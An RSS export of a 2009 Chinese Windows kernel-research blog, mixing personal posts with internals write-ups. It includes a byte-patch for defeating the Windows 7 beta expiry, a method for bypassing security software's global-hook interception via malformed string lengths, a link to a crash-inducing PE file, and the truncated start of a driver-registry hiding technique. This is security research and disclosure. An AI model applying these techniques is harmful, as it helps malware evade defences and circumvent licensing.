<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[MJ0011的内核驱动研究所]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[内核技术、Rootkit/Anti-Rootkit、网络安全]]></description>
<link>http://hi.baidu.com/mj0011</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[防止WIN7 BETA过期蓝屏]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/b866d83de1ab73ce9f3d62b9.html]]></link>
        <description><![CDATA[
		
		<p>WIN7 BETA版本从7月1日开始，启动2小时后，就会蓝屏重启。</p>
<p>蓝屏代码为：0x00000098</p>
<p>参考WINDBG帮助文件中的解释：</p>
<h1><a name="t05_bugs_60_533bdabd-8713-4826-8e54-af72788452f5.xml"></a><font size="3">Bug Check 0x98: END_OF_NT_EVALUATION_PERIOD</font></h1>
<p>The END_OF_NT_EVALUATION_PERIOD bug check has a value of 0x00000098. This bug check indicates that the trial period for the Microsoft Windows operating system has ended.</p>
<p>如何不让其过期：</p>
<p>在ntoskrnl中搜索特征:68 68 02 00 c0</p>
<p>搜索到后向上搜索72 XX 38 YY (XX YY为任意值）</p>
<p>找到的地址假设为i,找到后将i+2的位置修改为jmp i+xx+2</p>
<p> </p>
<p> </p>
<p>实际是内核使用KeInitializeTimerEx创建了一个Timer，然后计算当前时间，到2小时，开始验证license。如果发现时间过期了，则先创建一个系统线程，通过ExRaiseHardError触发一个特殊的内核异常代码。然后再一次则调用PoShutdownBugCheck引发一个蓝屏关机</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/b866d83de1ab73ce9f3d62b9.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-09  19:31</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/b866d83de1ab73ce9f3d62b9.html</guid>
</item>

<item>
        <title><![CDATA[Windows Internals 5th入手~]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/d529e31fa45e2e6af624e4b4.html]]></link>
        <description><![CDATA[
		
		<div forimg="1">
<p> </p>
<p>感谢帮我买书的LP~</p>
<p> </p>
<p><a target="_blank" href="http://hiphotos.baidu.com/mj0011/pic/item/65cedc11f7131c37b8127b4b.jpeg"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/mj0011/pic/item/65cedc11f7131c37b8127b4b.jpeg"></a></p>
<p> </p>
</div> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/d529e31fa45e2e6af624e4b4.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-08  18:25</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/d529e31fa45e2e6af624e4b4.html</guid>
</item>

<item>
        <title><![CDATA[Mcafee 8.0一处非常挫的地方]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/ace2b877d33c8b12b051b9cc.html]]></link>
        <description><![CDATA[
		
		<p>其on-access scan 服务进程McShield.exe，会在进程启动时通过on-access driver获取加载的进程，并进行扫描前，扫描前有一段非常挫的操作：</p>
<p>hproc = OpenProcess(<strong><font color="#ff0000">PROCESS_ALL_ACCESS</font></strong> , FALSE , pid);</p>
<p>....</p>
<p>NtQueryInformationProceess(hproc...)</p>
<p>...</p>
<p>CloseHandle(hproc);</p>
<p> </p>
<p>如果OpenProcess失败，则会在后面的操作出现一些问题，在进行一个APC注入时，导致目标进程崩溃~</p>
<p>这个问题在MCAFEE 8.5/8.7中修补了，直接拿掉了这段叫人哭笑不得的代码</p>
<p>所以说公司大了，什么垃圾人都有~写这代码的人完全没有一点编程基础啊。。。</p>
<p>另外mcafee 8.0在scan file时非要带上WRITE权限~ 真的很挫，不知道8.5改了没有~懒得看了。这些所谓的国外大厂商的产品，实际经不起大量用户的考验。</p>
<p>补充一下，趋势的一个类似的产品也有这个类似的问题~</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/ace2b877d33c8b12b051b9cc.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-03  21:15</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/ace2b877d33c8b12b051b9cc.html</guid>
</item>

<item>
        <title><![CDATA[一种绕过全局钩子安装拦截的思路]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/e915cbb4bf231a7a8ad4b22c.html]]></link>
        <description><![CDATA[
		
		<p>本文介绍了一种思路，利用安全软件驱动和WINDOWS本身处理全局钩子安装过程的不同，以绕过安全软件对全局钩子安装的拦截。这种方法并不保证能通用于任何安全软件。</p>
<p>安全软件，例如HIPS,AV等，通常会安装 NtUserSetWindowsHookEx / NtUserSetWinEventHook的钩子</p>
<p>拦截全局钩子注入，防止键盘、消息拦截或者DLL注入。</p>
<p>在这两个函数的参数中，都存在一个pstrlib参数，指向了要注册全局钩子的DLL路径名，这个路径是DOS路径名，通常安全软件会分配BUFFER，将pstrlib这个UNICODE_STRING中的字符串读取出来，再加上NT路径头 （\??\)，然后进行相关处理后传递给RING3的处理程序，比较常见的例如使用RtlCopyUnicodeString , 或者直接RtlCopyMemory(LocalName , pstrlib-&gt;Buffer , pstrlib-&gt;Length)</p>
<p>而WINDOWS函数自身，例如NtUserSetWindowsHookEx, NtUserSetWinEvnetHook,他们是怎么处理这个参数的呢？</p>
<p>实际上，这些函数最终会调用内部函数GetHmodTableIndex将DLL名加入一个ATOM Table中，并返回一个INDEX，记为为ihmod,等到CallNextHook2，或者分发winevent hook 时，通过 ihmod再取回这个index,得到DLL名，并通过User mode callback调用LoadLibrary加载这个DLL</p>
<p>GetHmodTableIndex则会调用一个UserAddAtom函数来将DLL名加入UserAtomTableHandle这个atom中。UserAddAtom这个函数接收的DLL名参数，是一个LPCWSTR类型的字符串，来自pstrlib-&gt;Buffer.UserAddAtom并不关心pstrlib-&gt;Length的长度。等到向RING3程序注入这个DLL时，调用xxxLoadHmodIndex中才在UserGetAtomName获取这个字符串后，通过调用RtlInitUnicodeString重新计算这个字符串的长度。</p>
<p>那么，很简单的方法就可以绕过安全软件的全局钩子拦截了:</p>
<p>(1).length 传入0，直接绕过检测</p>
<p>(2).buffer为c:\windows\system32\msctf.dllx</p>
<p>length传递为该字符串字节长度-sizeof(wchar)</p>
<p>也就是让安全软件得到错误的系统DLL名，实际注册的是其他的文件</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/e915cbb4bf231a7a8ad4b22c.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-02  18:55</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/e915cbb4bf231a7a8ad4b22c.html</guid>
</item>

<item>
        <title><![CDATA[Inside of ServiceMessageBox]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/0e2cbc4b2e517bf982025cdf.html]]></link>
        <description><![CDATA[
		
		<p>MB_SERVICE_NOTIFICATION，这是MessageBox函数提供的一个Type值，这个值允许通过CSRSS.exe而不是进程本身来弹出一个MessageBox。</p>
<p>当调用MessageBox时nType参数中包含了MB_SERVICE_NOTIFICATION或MB_DEFAULT_DESKTOP_ONLY标志，MessageBox将调用use32.dll内部的一个函数：ServiceMessageBox，代码如下:</p>
<p>MessageBoxWorker(...)</p>
<p>{</p>
<p>....省略无关代码...</p>
<p>&nbsp;&nbsp;&nbsp;  if (dwStyle &amp; (MB_DEFAULT_DESKTOP_ONLY | MB_SERVICE_NOTIFICATION)) {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if (pMsgBoxParams-&gt;hwndOwner != NULL) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  SetLastError(ERROR_INVALID_PARAMETER);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  return 0;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  return ServiceMessageBox(pMsgBoxParams-&gt;lpszText,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  pMsgBoxParams-&gt;lpszCaption,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  dwStyle &amp; ~MB_SERVICE_NOTIFICATION);<br>
&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;&nbsp;  }</p>
<p>ServiceMessageBox根据当前的会话状况不同调用不同的函数来实现弹框。</p>
<p>XP的话首先会判断当前是否是终端服务器版本（通过UserSharedData-&gt;SuiteMasks是否包含VER_SUITE_TERMINAL ）,如果不是服务器版本，直接调用NtRaiseHardError 来通知CSRSS,VISTA则不会走这一步，因为VISTA默认就会有1个以上的会话在运行。</p>
<p>接着ServiceMessageBox会通过NtOpenThreadToken函数来试图打开当前线程的Token,此函数仅在当前线程进行了Token 模拟(Impersonation)时才会返回成功。若此函数返回了被模拟的线程Token,则通过NtQueryInformationToken(TokenSessionId)取得此TOKEN所在的会话ID。</p>
<p>接着，会通过kernel32!ProcessIdToSessionId调用NtQueryInformationProcess(ProcessSessionInformation)获得当前进程的SessionId(若失败，则从NtCurretnTeb()-&gt;Peb-&gt;SessionId获取）</p>
<p>最后，比较模拟的Token的SessionId是否等于当前进程的SessionId，若不等于，说明当前进程和被模拟的TOKEN不属于同一会话，此时,ServiceMessageBox会通过调用winsta!WinStationSendMessageW来实现弹框，WinStationSendMessageW函数调用CSmartSession::ShowMessageBox找到当前活动会话中的CSRSS,并调用RpcShowMessageBox来通知当前活动会话中的csrss来弹出通知对话框。</p>
<p>若会话相同，则仍旧调用NtRaiseHardError来通知默认ExceptionPort的csrss.</p>
<p>通常系统服务在弹出对话框前都会模拟当前活动会话中的TOKEN，这样调用MessageBox弹框时就可以在当前用户上显示出来。</p>
<p>在VISTA之前，因为默认会话和服务是在同一个会话中，所以我们一般感受到的服务弹框都是调用NtRaiseHardError实现的，只有在切换到其他会话时，才会出现调用 RpcShowMessageBox的情况</p>
<p>但VISTA之后，由于服务进程单独享有一个会话（0号会话），因此所有来自服务的弹框，都会通过RpcShowMessageBox来显示出来。</p>
<p>至于CSRSS如何处理MESSAGEBOX的RPC(HandleHandError等），早已是众所周之了，在这里不多赘述，感兴趣的可以参考WIN2K源代码</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/0e2cbc4b2e517bf982025cdf.html#comment">查看评论</a>]]></description>
        <pubDate>2009-06-16  02:42</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/0e2cbc4b2e517bf982025cdf.html</guid>
</item>

<item>
        <title><![CDATA[昨晚去看了T4首映，非常不错]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/f1b2b2cce0dd7a1801e92819.html]]></link>
        <description><![CDATA[
		
		<p>音乐很不错（<a href="http://www.6621.com/Music_List/987132D1A.html">http://www.6621.com/Music_List/987132D1A.html</a>），气氛很不错，斑驳的胶片色彩也不错。</p>
<p>特效就不用说了，超越以前看过的任何电影。不只是特效本身，而是特效带来的感觉。</p>
<p>片尾显示的lead digital artist整整两屏幕，太强大了</p>
<p>T4中有很多向前几集致敬的部分，例如john用来引诱摩托终结者放的那首枪花的歌，和他在T2中骑摩托去实验ATM吐钱时听的是同一首（<font size="2">YOU COULD BE MINE</font>)</p>
<p>期待T5 T6中....</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/f1b2b2cce0dd7a1801e92819.html#comment">查看评论</a>]]></description>
        <pubDate>2009-06-09  15:14</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/f1b2b2cce0dd7a1801e92819.html</guid>
</item>

<item>
        <title><![CDATA[WINDOWS VISTA/WIN7 驱动完整性校验解析PE蓝屏BUG]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/9dc8c833c700244bac4b5f69.html]]></link>
        <description><![CDATA[
		
		<p>在VISTA 和WINDOWS 7 (ALL SP,全补丁)的内核代码完整性校验组件中，存在一处解析PE的BUG,可引发系统蓝屏。不过从现在看来，此问题似乎需要LoadDriver权限才能触发，因此不能算安全性问题，属于稳定性问题。</p>
<p>在VISTA以后的操作系统，系统使用MmLoadSystemImage加载驱动之前，会调用MmCheckSystemImage函数来检查镜像正确性，在VISTA及以后的操作系统中,MmCheckSystemImage发生了一个有意思的变化.</p>
<p>原本MmCheckSystemImage(vista以前的系统上），会使用SEC_IMAGE作为AllocationAttributes来调用ZwCreateSection为驱动文件创建Section，但是VISTA以后的系统上，该参数被换成了一个未公开的值: 0x100000(注意,SEC_IMAGE是0x1000000，6个0）。</p>
<p>在ZwCreateSection 中，系统会检查如果调用线程的上个模式不是KernelMode,则不允许使用这个未公开的AllocationAttributes:</p>
<p>NtCreateSection:</p>
<p>............无关部分........</p>
<p>//取当前线程上个模式</p>
<p>if (KeGetPreviousMode() != KernelMode)<br>
{</p>
<p>//如果是用户模式，如果Attributes有0x2000000或0x10000的话，则返回无效参数<br>
&nbsp;&nbsp;&nbsp;  v13 = 0;<br>
&nbsp;&nbsp;&nbsp;  if ( !(Attributes &amp; 0x2100000) )<br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  .....无关处理....</p>
<p>&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;&nbsp;  return STATUS_INVALID_PARAMETER_6;<br>
}</p>
<p>然后在NtCreateSection-&gt;MmCreateSection(这个函数在VISTA开始发生了巨大的变化)中，进行一些判断后（包括这个特殊的Attributes)，系统会调用MiValidateImageHeader进行镜像检查，此时系统会将这个镜像通过MiMapImageInSystemCache函数map到系统缓存中，然后将<strong>按镜像的页数 * PAGE_SIZE大小的，分配分页内存，并将PE数据COPY到内存中</strong></p>
<p>接着系统会调用SeValidateImageHeader函数，这个函数只是简单地为_g_CiCallbacks中存放的函数准备函数，便调用_g_CiCallbacks存放的函数。_g_CiCallbacks这个全局变量中存放着系统初始化时（SeInitSystem-&gt;SepInitializationPhase1-&gt;SepInitializeCodeIntegrity)存入的 ci.dll的CiValidateImageHeader函数。</p>
<p>CiValidateImageHeader首先会对镜像进行一些检查工作，然后开始调用CipValidateFileHash函数，CipValidateFileHash函数对文件做一些解析工作后，开始调用CipImageGetImageHash，此函数会分析PE的每一个节，并对其节内数据调用SHA签名算法函数A_SHAUpdate。</p>
<p>注意前面加粗的文字，由于是按整页数来分配和COPY数据的，因此如果某一个节的数据长度(SizeOfRawData)超出了页对齐的范围（MiMapImageInSystemCache似乎并不将这个数据算成一个新的节），那么A_SHAUpdate中的数据COPY函数将触及到未分配内存，从而引发BSOD。</p>
<p>这里提供一个简单的例子（下载到：<a href="http://www.debugman.com/read.php?tid=3217">http://www.debugman.com/read.php?tid=3217</a>帖子中的附件或<a href="http://mj0011.ys168.com/">http://mj0011.ys168.com</a> 漏洞演示目录下bsodxx.rar）</p>
<p>这个PE文件的最后一个节的SizeOfRawData是0x1004，使用任意一个加载工具加载此文件，系统将立即BSOD，BSOD时的Stack类似：</p>
<p>kd&gt; kc</p>
<p>nt!MmAccessFault<br>
nt!KiTrap0E<br>
nt!memcpy<br>
CI!A_SHAUpdate<br>
CI!CipImageGetImageHash<br>
CI!CipValidateFileHash<br>
CI!CiValidateImageHeader<br>
nt!SeValidateImageHeader<br>
nt!MiValidateImageHeader<br>
nt!MmCreateSection<br>
nt!NtCreateSection<br>
nt!KiFastCallEntry<br>
nt!ZwCreateSection<br>
nt!MmCheckSystemImage<br>
nt!MiCreateSectionForDriver<br>
nt!MiObtainSectionForDriver<br>
nt!MmLoadSystemImage<br>
nt!IopLoadDriver<br>
nt!IopLoadUnloadDriver</p>
<p>因此说，解析PE很危险啊很危险，MS搞了个CI.DLL吓坏了一帮人啊，结果自己解析还写错了~该打~</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/9dc8c833c700244bac4b5f69.html#comment">查看评论</a>]]></description>
        <pubDate>2009-06-08  23:06</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/9dc8c833c700244bac4b5f69.html</guid>
</item>

<item>
        <title><![CDATA[DirectShow 0day爆发警报]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/7bad6c1ed7e1e6fc1ad57616.html]]></link>
        <description><![CDATA[
		
		<p><font size="4">DirectShow 0day（KB971778)是一个成功率极高的高风险0DAY漏洞，此漏洞已经被开始公开利用，最近两天应该将在国内大规模爆发。</font></p>
<p><font size="4">360安全卫士在全球首个发现此0DAY并上报给微软安全响应中心，并就此0DAY发布了重大安全事件预警：</font></p>
<p><a href="http://bbs.360.cn/3451604/26111934.html?recommend=1"><font size="4">http://bbs.360.cn/3451604/26111934.html?recommend=1</font></a></p>
<p><font size="4">漏洞影响WINDOWS XP和WINDOWS 2003以及所有核心（IE、FireFox....)的浏览器，攻击成功后攻击者可执行任意代码。其攻击形势不亚于往年任何一个IE 0DAY，例如去年的IE XML 0DAY，07年的ANI 0DAY等</font></p>
<p><font size="4">微软在5月28日提供的禁止IE组件的解决方案并不能彻底解决这个问题，攻击者仍可绕过这种禁止来达到攻击目的</font></p>
<p><font size="4">而微软的补丁可能需要1-2个月后才能发布，这段时间将成为0DAY攻击最高峰。国内安全厂商也将经受一次考验</font></p>
<p><font size="4">国内安全厂商的网页防漏也无法拦截这次攻击，攻击者仍可通过修改ShellCode等方法，绕过所有的所谓&ldquo;网盾&rdquo;，&ldquo;网页防漏&rdquo;</font></p>
<p><font size="4">国内某些厂商例如金山，照抄微软的解决方案发布的所谓&ldquo;漏洞补丁&rdquo;，自然也根本无法拦截这个漏洞的攻击</font></p>
<p><font size="4">目前，只有360安全卫士提供的临时补丁能够彻底拦截这一0DAY攻击：</font></p>
<p><a href="http://dl.360safe.com/360safefixavi.exe"><font size="4">http://dl.360safe.com/360safefixavi.exe</font></a></p>
<p> </p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/7bad6c1ed7e1e6fc1ad57616.html#comment">查看评论</a>]]></description>
        <pubDate>2009-06-04  12:37</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/7bad6c1ed7e1e6fc1ad57616.html</guid>
</item>

<item>
        <title><![CDATA[绕过所有的注册表检查隐藏驱动注册表]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/168504cea69d3631b600c8a3.html]]></link>
        <description><![CDATA[
		
		<p>几个月前，我曾在某些帖子谈论过这个技术</p>
<p>现在六一节到了，为了满足广大饥渴的小朋友们，特此放出</p>
<p>=====================================================</p>
<p>Mark在Windows Internals 4th(p 210)中提到过，WIN2000下，为了保持系统HIVE的完整性，系统在刷新SYSTEM HIVE的同时，会刷新一个名为&ldquo;替补储巢&rdquo;的hive :System.alt</p>
<p>当系统储巢System已经损坏，无法加载时，就会选择这个替补储巢system.alt来加载.这是由于win2000的ntldr不知道如何使用储巢日志文件(system.log)来进行储巢修复导致的，Mark称windows XP以后的系统已经抛弃了这一机制</p>
<p>但事实如何呢？首先我们来看一下某份NT4的代码：</p>
<p>下面这个函数是BootLoader(ntldr)用来加载系统HIVE的函数：<br>
<br>
ARC_STATUS<br>
BlLoadAndScanSystemHive(<br>
&nbsp;&nbsp;&nbsp;  IN ULONG DeviceId,<br>
&nbsp;&nbsp;&nbsp;  IN PCHAR DeviceName,<br>
&nbsp;&nbsp;&nbsp;  IN PCHAR DirectoryPath,<br>
&nbsp;&nbsp;&nbsp;  IN PWSTR BootFileSystem,<br>
&nbsp;&nbsp;&nbsp;  OUT PCHAR BadFileName<br>
&nbsp;&nbsp;&nbsp;  )<br>
...................<br>
省略无关部分<br>
.....................</p>
<p>&nbsp;&nbsp;&nbsp;  strcpy(Directory,DirectoryPath);<br>
&nbsp;&nbsp;&nbsp;  strcat(Directory,&quot;<a href="file://system32//config//">\\system32\\config\\</a>&quot;);<br>
&nbsp;&nbsp;&nbsp;  Status = BlLoadAndInitSystemHive(DeviceId,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  DeviceName,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Directory,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &quot;system&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  FALSE,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &amp;RestartSetup);</p>
<p>&nbsp;&nbsp;&nbsp;  if(Status != ESUCCESS) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // bogus hive, try system.alt<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Status = BlLoadAndInitSystemHive(DeviceId,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  DeviceName,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Directory,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &quot;system.alt&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  TRUE,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &amp;RestartSetup);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if(Status != ESUCCESS) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  strcpy(BadFileName,DirectoryPath);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  strcat(BadFileName,&quot;<a href="file://system32//CONFIG//SYSTEM">\\SYSTEM32\\CONFIG\\SYSTEM</a>&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  goto HiveScanFailed;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;&nbsp;  }</p>
<p>可以看到，系统首先会尝试加载system hive，当systemroot\system32\config下的SYSTEM HIVE不存在或出现故障，则会尝试加载systemroot\system32\config下的system.alt HIVE</p>
<p>事实上，这部分代码一直保留在WINDOWS XP和WINDOWS 2003中，直到VISTA中才去除掉，VISTA系统中已更改为仅加载SYSTEM储巢，如果SYSTEM储巢加载失败，直接拒绝继续启动。</p>
<p>但是，这里只是NTLDR加载的储巢，这些储巢在系统启动后会被丢弃（保存在BootLoaderBlock中）</p>
<p>SMSS将调用SSDT中的NtInitializeRegistry函数，通过CmpCmdInit-&gt;CmpInitializeHiveList，通过CmpLoadHiveThread系统线程为CmpMachineHiveList中的每个系统储巢做加载和初始化工作</p>
<p>这里系统只识别\SystemRoot\System32\Config\System储巢，如果无法加载这个储巢，系统将调用KeBugCheckEx使系统蓝屏，蓝屏代码为STATUS_CANNOT_LOAD_REGISTRY_FILE</p>
